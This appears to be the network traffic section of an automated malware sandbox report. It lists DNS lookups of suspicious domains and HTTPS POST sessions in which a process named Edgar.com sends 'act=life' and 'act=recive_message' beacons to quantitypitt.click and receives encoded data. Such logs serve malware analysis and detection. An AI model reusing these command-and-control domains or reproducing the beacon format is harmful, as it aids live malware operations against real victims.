Jan 5, 2025 17:55:45.205521107 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.205559015 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.205564976 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.205583096 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.205600023 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.205744982 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.205773115 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.205802917 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.205810070 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.205826044 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.205845118 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.206075907 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.206094027 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.206126928 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.206134081 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.206149101 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.206166029 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.206173897 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.206190109 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.206233025 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.206238985 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.206331968 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.206363916 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.206389904 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.206398010 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.206408024 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.206433058 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.206681013 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.206696033 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.206727028 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.206732988 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.206742048 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.207060099 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.207078934 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.207118034 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.207124949 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.207134962 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.207164049 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.293910980 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.293927908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.294047117 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.294070005 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.294349909 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.294420958 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.294435978 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.294472933 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.294481039 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.294496059 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.294519901 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.294599056 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.294614077 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.294668913 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.294676065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.294728041 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.295026064 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.295042038 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.295098066 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.295111895 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.295120955 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.295145988 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.295177937 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.295470953 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.295488119 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.295546055 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.295552969 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.295561075 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.295694113 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.295712948 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.295744896 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.295752048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.295778036 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.296044111 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.296058893 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.296097040 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.296106100 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.296118021 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.340022087 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.382700920 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.382726908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.382824898 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.382834911 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.382883072 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.382937908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.382953882 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.382991076 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.382997036 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.383024931 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.383049011 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.383275986 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.383310080 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.383333921 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.383342028 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.383364916 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.383371115 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.383389950 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.383415937 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.430459976 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.633323908 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.633341074 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.633357048 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.633363008 CET	443	49843	172.67.208.58	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 17:55:05.075438023 CET	55155	53	192.168.2.5	1.1.1.1
Jan 5, 2025 17:55:05.095727921 CET	53	55155	1.1.1.1	192.168.2.5
Jan 5, 2025 17:55:19.958528042 CET	54095	53	192.168.2.5	1.1.1.1
Jan 5, 2025 17:55:19.970287085 CET	53	54095	1.1.1.1	192.168.2.5
Jan 5, 2025 17:55:36.923214912 CET	60786	53	192.168.2.5	1.1.1.1
Jan 5, 2025 17:55:36.981417894 CET	53	60786	1.1.1.1	192.168.2.5
Jan 5, 2025 17:55:37.927323103 CET	55039	53	192.168.2.5	1.1.1.1
Jan 5, 2025 17:55:37.941442013 CET	53	55039	1.1.1.1	192.168.2.5
Jan 5, 2025 17:55:38.533330917 CET	60682	53	192.168.2.5	1.1.1.1
Jan 5, 2025 17:55:38.542397022 CET	53	60682	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 17:55:05.075438023 CET	192.168.2.5	1.1.1.1	0x46b	Standard query (0)	cKtBIQZTpYxWiHklAhxDUWfOR.cKtBIQZTpYxWiHklAhxDUWfOR	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:55:19.958528042 CET	192.168.2.5	1.1.1.1	0xdfbd	Standard query (0)	quantitypitt.click	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:55:36.923214912 CET	192.168.2.5	1.1.1.1	0x35d7	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:55:37.927323103 CET	192.168.2.5	1.1.1.1	0xbbe0	Standard query (0)	klipvumisui.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:55:38.533330917 CET	192.168.2.5	1.1.1.1	0x6773	Standard query (0)	dfgh.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 17:55:05.095727921 CET	1.1.1.1	192.168.2.5	0x46b	Name error (3)	cKtBIQZTpYxWiHklAhxDUWfOR.cKtBIQZTpYxWiHklAhxDUWfOR	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:55:19.970287085 CET	1.1.1.1	192.168.2.5	0xdfbd	No error (0)	quantitypitt.click		172.67.186.189	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:55:19.970287085 CET	1.1.1.1	192.168.2.5	0xdfbd	No error (0)	quantitypitt.click		104.21.43.229	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:55:36.981417894 CET	1.1.1.1	192.168.2.5	0x35d7	No error (0)	cegu.shop		185.161.251.21	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:55:37.941442013 CET	1.1.1.1	192.168.2.5	0xbbe0	No error (0)	klipvumisui.shop		172.67.208.58	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:55:37.941442013 CET	1.1.1.1	192.168.2.5	0xbbe0	No error (0)	klipvumisui.shop		104.21.37.128	A (IP address)	IN (0x0001)	false
Jan 5, 2025 17:55:38.542397022 CET	1.1.1.1	192.168.2.5	0x6773	Name error (3)	dfgh.online	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

quantitypitt.click

cegu.shop

klipvumisui.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49714	172.67.186.189	443	5372	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:55:20 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: quantitypitt.click
2025-01-05 16:55:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-05 16:55:20 UTC	1135	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 16:55:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gf9it4lo915f13td8gpr9arcts; expires=Thu, 01 May 2025 10:41:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mJYXorpEA5%2Feha8RytVzX%2BsdxYG2O3V%2FRE8GmMck8YTAp1hggx0EgC3dHaNCDD05tHbZYn9bR4t1%2BLZlnmpc2nu%2FC%2FWwd5JmUd7%2Bxdjo66c9Z3Bmk7s8HkjXbesJYPNn4CHtDoc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd4fed18c5832e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2028&min_rtt=2021&rtt_var=772&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1405197&cwnd=160&unsent_bytes=0&cid=356aec6d25b3328d&ts=486&x=0"
2025-01-05 16:55:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-05 16:55:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49720	172.67.186.189	443	5372	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:55:21 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 78 Host: quantitypitt.click
2025-01-05 16:55:21 UTC	78	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 54 52 4f 4e 26 6a 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--TRON&j=637b55279021aab33278188cfa638397
2025-01-05 16:55:22 UTC	1133	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 16:55:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mjm3u9maugbj6ta753ecqecojs; expires=Thu, 01 May 2025 10:42:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TKvAkxeWusR4uRPpjU9q%2BN65YP412l0eAbmj%2B%2B8DbXGBLm0dPTYKaZblryZmxHw%2FfflmowiP394tdTP%2FJ4TRz8NXv1ceyC6tceIcGp4BYKb%2FEj7wbECnHiMNTnh9JNSyXO5VsEs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd4fed75d684204-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1687&min_rtt=1676&rtt_var=651&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=980&delivery_rate=1651583&cwnd=234&unsent_bytes=0&cid=766182e3d8ef7a40&ts=770&x=0"
2025-01-05 16:55:22 UTC	236	IN	Data Raw: 31 63 61 31 0d 0a 59 31 65 42 69 75 52 39 2b 57 74 33 4d 48 6b 63 30 34 31 46 52 46 2f 63 5a 71 51 65 75 30 6d 64 39 33 4b 61 4f 6f 4c 39 55 2f 30 59 64 66 65 6f 33 6b 6e 56 53 51 52 56 57 79 61 6e 2f 7a 41 68 63 2f 34 48 77 44 79 42 4c 2f 79 62 41 66 38 57 6f 49 73 2b 33 31 6b 78 34 4f 61 58 47 4e 56 4a 45 6b 68 62 4a 6f 6a 32 5a 79 45 78 2f 6c 79 47 65 39 45 72 2f 4a 73 51 2b 31 48 74 6a 54 2b 65 43 7a 76 6d 34 6f 45 65 6e 51 6f 62 58 52 78 35 74 75 77 76 4b 6a 61 78 44 73 6b 38 6c 32 76 34 6a 56 43 67 47 4d 2b 59 4a 35 77 75 4e 76 4c 68 78 67 44 56 45 46 56 56 46 7a 37 70 72 79 51 68 50 62 41 41 77 48 58 54 49 66 57 54 45 66 35 51 38 70 51 31 6c 51 73 31 35 65 4f 4c 46 34 6b 48 45 56 6f 58 66 37 Data Ascii: 1ca1Y1eBiuR9+Wt3MHkc041FRF/cZqQeu0md93KaOoL9U/0Ydfeo3knVSQRVWyan/zAhc/4HwDyBL/ybAf8WoIs+31kx4OaXGNVJEkhbJoj2ZyEx/lyGe9Er/JsQ+1HtjT+eCzvm4oEenQobXRx5tuwvKjaxDsk8l2v4jVCgGM+YJ5wuNvLhxgDVEFVVFz7pryQhPbAAwHXTIfWTEf5Q8pQ1lQs15eOLF4kHEVoXf7
2025-01-05 16:55:22 UTC	1369	IN	Data Raw: 7a 73 5a 32 68 39 75 52 79 47 4a 4a 6c 34 7a 5a 59 42 36 55 33 74 6a 7a 66 66 48 6e 76 36 71 49 45 54 32 31 46 56 57 68 64 77 74 4f 77 6f 49 54 79 2b 46 73 6c 38 32 69 50 33 6b 52 72 33 56 2b 2b 52 4f 35 67 4a 50 4f 54 6e 67 52 65 64 42 68 59 53 56 54 36 32 39 32 64 2b 66 5a 34 55 78 58 2f 4e 4a 75 37 56 44 37 5a 42 6f 4a 67 39 33 31 6c 31 35 65 61 48 45 70 73 62 48 56 6b 51 65 36 50 6b 4c 69 73 77 76 67 6e 4d 63 39 6f 72 2b 4a 38 61 39 31 4c 6b 6b 6a 79 5a 41 54 57 6a 70 73 59 59 67 30 6c 4e 45 6a 68 37 6f 65 67 72 4d 48 2b 45 52 4e 6b 79 77 47 76 34 6d 56 43 67 47 4f 69 61 4d 70 77 4b 4f 75 44 67 6a 51 32 62 47 78 4e 66 48 6d 79 33 36 69 6b 73 50 71 77 4f 79 48 72 61 49 76 53 63 46 66 39 63 6f 4e 46 78 6d 42 6c 31 75 36 69 6e 45 70 41 46 48 30 55 62 50 Data Ascii: zsZ2h9uRyGJJl4zZYB6U3tjzffHnv6qIET21FVWhdwtOwoITy+Fsl82iP3kRr3V++RO5gJPOTngRedBhYSVT6292d+fZ4UxX/NJu7VD7ZBoJg931l15eaHEpsbHVkQe6PkLiswvgnMc9or+J8a91LkkjyZATWjpsYYg0lNEjh7oegrMH+ERNkywGv4mVCgGOiaMpwKOuDgjQ2bGxNfHmy36iksPqwOyHraIvScFf9coNFxmBl1u6inEpAFH0UbP
2025-01-05 16:55:22 UTC	1369	IN	Data Raw: 6d 4d 61 77 49 7a 48 72 57 4a 76 50 56 58 72 68 66 2b 4e 39 70 33 79 73 32 39 2b 75 4d 58 61 34 4b 47 31 77 63 61 50 48 77 61 54 39 39 75 51 69 47 4a 4a 6b 6d 2f 70 30 57 36 6c 66 74 6e 44 2b 52 44 6a 44 73 34 49 59 66 6c 67 77 52 57 52 42 39 76 4f 73 31 4c 44 32 32 41 63 64 32 30 32 75 78 31 52 66 67 47 4c 6a 66 41 49 67 4b 64 39 62 72 69 42 47 63 48 31 56 4e 56 57 66 78 36 43 74 6d 5a 66 34 4a 7a 6e 6e 63 4a 50 36 66 48 76 31 53 37 4a 63 2f 6e 42 4d 36 35 2b 69 4b 46 35 45 45 47 31 59 54 64 37 72 6b 49 53 59 38 74 45 53 49 50 4e 34 7a 76 38 31 51 7a 46 2f 73 6b 6a 37 64 4e 44 62 74 35 6f 45 4a 32 78 5a 62 53 31 74 35 76 61 39 2f 5a 6a 47 33 42 4d 31 32 33 53 76 34 6d 42 58 37 58 2b 4f 53 4e 70 55 50 4d 75 66 6b 6a 78 4b 64 43 52 4a 57 48 6d 79 30 35 69 Data Ascii: mMawIzHrWJvPVXrhf+N9p3ys29+uMXa4KG1wcaPHwaT99uQiGJJkm/p0W6lftnD+RDjDs4IYflgwRWRB9vOs1LD22Acd202ux1RfgGLjfAIgKd9briBGcH1VNVWfx6CtmZf4JznncJP6fHv1S7Jc/nBM65+iKF5EEG1YTd7rkISY8tESIPN4zv81QzF/skj7dNDbt5oEJ2xZbS1t5va9/ZjG3BM123Sv4mBX7X+OSNpUPMufkjxKdCRJWHmy05i
2025-01-05 16:55:22 UTC	1369	IN	Data Raw: 43 74 41 38 78 6d 58 6d 31 52 66 30 47 4c 6a 66 4f 4a 59 54 4f 2b 33 68 69 78 6d 54 44 68 74 66 45 48 69 36 36 43 41 67 4d 4c 59 4a 77 33 2f 59 4c 2f 57 48 45 2f 4e 53 37 5a 56 78 30 55 45 79 2b 36 6a 65 58 37 77 46 50 45 49 41 62 4b 65 76 4f 47 67 6b 2f 67 50 4b 50 49 46 72 2f 4a 6f 5a 39 31 44 6f 6b 44 36 62 44 7a 50 6c 35 59 4d 51 6b 52 73 64 58 42 5a 31 76 75 51 31 4a 6a 43 36 43 4d 4a 30 30 69 47 2f 32 31 44 2f 51 4b 44 48 63 61 6f 4d 4f 75 50 72 6b 46 2b 45 52 77 77 53 48 48 4c 78 74 32 63 71 4d 37 34 4c 79 6e 44 53 49 2f 36 5a 48 76 39 64 36 5a 63 35 6a 51 41 78 36 2b 6d 49 45 4a 6f 4e 45 46 63 66 65 62 58 70 4b 47 5a 7a 2f 67 50 65 50 49 46 72 30 4c 49 6c 75 6e 6e 61 33 79 37 52 47 48 58 6b 35 4d 5a 48 32 77 55 57 58 68 4e 78 74 2b 59 72 4c 44 53 Data Ascii: CtA8xmXm1Rf0GLjfOJYTO+3hixmTDhtfEHi66CAgMLYJw3/YL/WHE/NS7ZVx0UEy+6jeX7wFPEIAbKevOGgk/gPKPIFr/JoZ91DokD6bDzPl5YMQkRsdXBZ1vuQ1JjC6CMJ00iG/21D/QKDHcaoMOuPrkF+ERwwSHHLxt2cqM74LynDSI/6ZHv9d6Zc5jQAx6+mIEJoNEFcfebXpKGZz/gPePIFr0LIlunna3y7RGHXk5MZH2wUWXhNxt+YrLDS
2025-01-05 16:55:22 UTC	1369	IN	Data Raw: 39 30 6f 2b 35 41 66 2b 56 6e 6d 6a 54 61 57 45 7a 76 75 35 34 34 58 6b 67 67 52 56 78 5a 34 76 65 55 6d 49 54 4f 77 44 49 59 79 6d 53 7a 6e 31 55 69 34 65 66 43 45 49 34 6b 4d 46 4f 37 6e 78 67 44 56 45 46 56 56 46 7a 37 70 72 79 34 30 4f 62 4d 57 7a 33 76 58 4a 50 79 48 45 66 56 54 38 70 67 2b 6d 77 59 35 35 65 65 41 48 70 34 44 47 56 55 65 64 62 37 6a 5a 32 68 39 75 52 79 47 4a 4a 6b 46 39 49 59 48 2b 31 62 72 69 53 72 66 48 6e 76 36 71 49 45 54 32 31 46 56 55 52 42 31 74 65 38 72 4a 6a 6d 7a 42 4e 52 7a 33 69 7a 32 6e 67 4c 79 58 2b 65 55 4f 5a 51 4f 4d 2f 48 6b 69 41 32 65 47 77 63 53 56 54 36 32 39 32 64 2b 66 59 67 44 31 6d 7a 61 61 63 36 44 45 2b 35 54 37 5a 4e 78 67 45 38 73 6f 2b 2b 4b 58 38 4e 4a 45 31 30 53 66 62 37 75 4c 69 6f 77 75 77 33 44 Data Ascii: 90o+5Af+VnmjTaWEzvu544XkggRVxZ4veUmITOwDIYymSzn1Ui4efCEI4kMFO7nxgDVEFVVFz7pry40ObMWz3vXJPyHEfVT8pg+mwY55eeAHp4DGVUedb7jZ2h9uRyGJJkF9IYH+1briSrfHnv6qIET21FVURB1te8rJjmzBNRz3iz2ngLyX+eUOZQOM/HkiA2eGwcSVT6292d+fYgD1mzaac6DE+5T7ZNxgE8so++KX8NJE10Sfb7uLiowuw3D
2025-01-05 16:55:22 UTC	1369	IN	Data Raw: 53 62 49 76 74 44 6f 49 42 2f 68 6b 45 79 37 36 6a 65 58 35 67 4f 46 6c 4d 52 64 37 33 67 49 43 49 76 74 41 50 55 66 64 67 67 38 70 6b 51 39 56 58 71 6e 6a 69 53 44 54 6a 6b 37 34 6b 61 32 30 64 56 56 51 4d 2b 36 61 38 47 4b 7a 61 79 58 35 77 38 78 6d 58 6d 31 52 66 30 47 4c 6a 66 4d 5a 55 45 50 2b 37 72 69 52 79 4a 43 42 4e 41 47 33 4f 37 2f 53 30 74 4f 4c 4d 4a 79 33 2f 66 4c 66 53 5a 41 76 46 59 34 35 52 78 30 55 45 79 2b 36 6a 65 58 37 67 65 41 31 67 63 63 71 66 6b 4a 69 55 72 73 78 53 47 4d 70 6b 36 2b 49 52 51 6f 45 37 77 69 44 61 41 54 79 79 6a 37 34 70 66 77 30 6b 54 57 78 31 35 74 2b 45 31 49 7a 75 78 43 38 39 31 33 53 50 38 6c 52 54 38 58 2b 57 63 50 5a 51 47 4e 75 7a 73 6a 78 47 53 42 6c 55 63 57 33 6d 70 72 33 39 6d 48 4b 55 48 79 6e 47 5a 4e Data Ascii: SbIvtDoIB/hkEy76jeX5gOFlMRd73gICIvtAPUfdgg8pkQ9VXqnjiSDTjk74ka20dVVQM+6a8GKzayX5w8xmXm1Rf0GLjfMZUEP+7riRyJCBNAG3O7/S0tOLMJy3/fLfSZAvFY45Rx0UEy+6jeX7geA1gccqfkJiUrsxSGMpk6+IRQoE7wiDaATyyj74pfw0kTWx15t+E1IzuxC8913SP8lRT8X+WcPZQGNuzsjxGSBlUcW3mpr39mHKUHynGZN
2025-01-05 16:55:22 UTC	256	IN	Data Raw: 34 46 71 43 59 4b 64 39 5a 64 63 50 6a 6b 42 71 63 48 31 64 6e 47 48 43 2f 36 44 46 6d 49 6f 46 4b 68 6e 32 5a 63 38 61 4d 55 4f 34 59 75 4d 31 2f 33 78 4e 31 75 36 6a 42 48 49 6b 62 45 31 45 4e 66 66 62 52 47 51 45 72 74 41 50 57 65 38 34 6b 76 39 74 51 39 78 69 34 70 6e 47 57 42 69 37 79 2f 6f 73 50 6e 45 6b 71 48 46 74 6d 38 62 64 6e 45 7a 36 77 43 73 46 71 79 47 62 59 67 78 72 2f 53 4f 65 49 50 74 39 50 64 65 57 6f 33 6b 7a 56 53 52 46 44 57 79 62 68 76 58 78 7a 62 75 6c 55 6c 47 4f 58 4d 72 2b 44 55 4b 41 4b 72 74 38 6a 33 31 6c 31 70 4f 75 55 44 5a 30 4b 41 31 46 63 51 49 2f 49 50 53 73 37 71 52 58 34 51 74 34 78 38 70 4d 48 36 52 54 31 6e 44 2b 52 42 69 4f 6a 70 73 59 51 32 31 45 73 45 6c 4d 2b 6a 71 46 6e 50 6e 33 6d 52 50 4e 2f 31 79 58 34 67 0d Data Ascii: 4FqCYKd9ZdcPjkBqcH1dnGHC/6DFmIoFKhn2Zc8aMUO4YuM1/3xN1u6jBHIkbE1ENffbRGQErtAPWe84kv9tQ9xi4pnGWBi7y/osPnEkqHFtm8bdnEz6wCsFqyGbYgxr/SOeIPt9PdeWo3kzVSRFDWybhvXxzbulUlGOXMr+DUKAKrt8j31l1pOuUDZ0KA1FcQI/IPSs7qRX4Qt4x8pMH6RT1nD+RBiOjpsYQ21EsElM+jqFnPn3mRPN/1yX4g
